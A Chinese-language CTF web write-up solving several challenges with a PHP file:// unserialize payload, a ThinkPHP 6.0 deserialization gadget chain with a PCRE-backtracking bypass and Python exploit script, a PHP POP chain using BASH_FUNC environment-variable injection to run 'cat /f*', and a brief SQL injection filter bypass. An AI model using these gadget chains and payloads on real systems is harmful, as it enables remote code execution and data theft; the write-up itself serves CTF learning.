100％_upload

打开环境发现文件包含

题目提示不能上传php文件，直接传一个图片马

RCE

EZ_SSRF

<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    echo base64_encode($data);
    return $data;
}
class client{
    public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function __destruct()
    {
        get($this->url);
    }
}
// hint:hide other file
if(isset($_GET['Harder'])) {
    unserialize($_GET['Harder']);
} else {
    echo "You don't know how to pass parameters?";
}

?> 

flag在html/flag.php

构造exp

<?php
class client
{
    public $url="file:///var/www/html/flag.php";
    public $payload;

}
$a = new client();
echo serialize($a);

O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}

base64解码

Oyst3rPHP

www.zip下载源码代码审计

thinkphp6.0

index.php GET传参left和right弱比较，POST传参key利用prce回溯绕过，并且payload存在反序列化

Model.php，发现flag所在文件

直接用tp6.0的链子打反序列化

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["key"=>"cat /Oyst3333333r.php"];
    private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $name;
    public function __construct($obj=""){
        $this->name=$obj;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));

TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319

exp

import requests
from io import BytesIO

data = {
    'key': 'a' * 1000000+'603THINKPHP',
    'payload':"TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319"
}

res = requests.post('http://yuanshen.life:38972/?left=QNKCDZO&right=240610708', data=data)
print(res.text)

Not just unserialize

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
} 

反序列化最终触发putenv()，这里和虎符CTF的ezphp很像，但是提示说了RUN ln -sf /bin/bash /bin/sh，那么system调用的就是bash -c，与p🐂的环境变量注入就一样了，直接利用环境变量注入执行命令

反序列化链：

<?php
class start
{
    public $welcome;
    public $you;
}

class SE{
    public $year;
}
class CR{
    public $last;
    public $newyear="Worries";

}

class ET{

}
$a = new start();
$b = new SE();
$c = new CR();
$d = new ET();
$a->welcome=$b;
$b->year=$c;
$c->last=$d;

echo base64_encode(serialize($a));

Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30=

payload:

http://yuanshen.life:38989/?get[BASH_FUNC_echo%25%25]=()%20{%20cat /f*;%20}
POST:
go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30=

hacker

无列名注入，过滤空格，使用/**/代替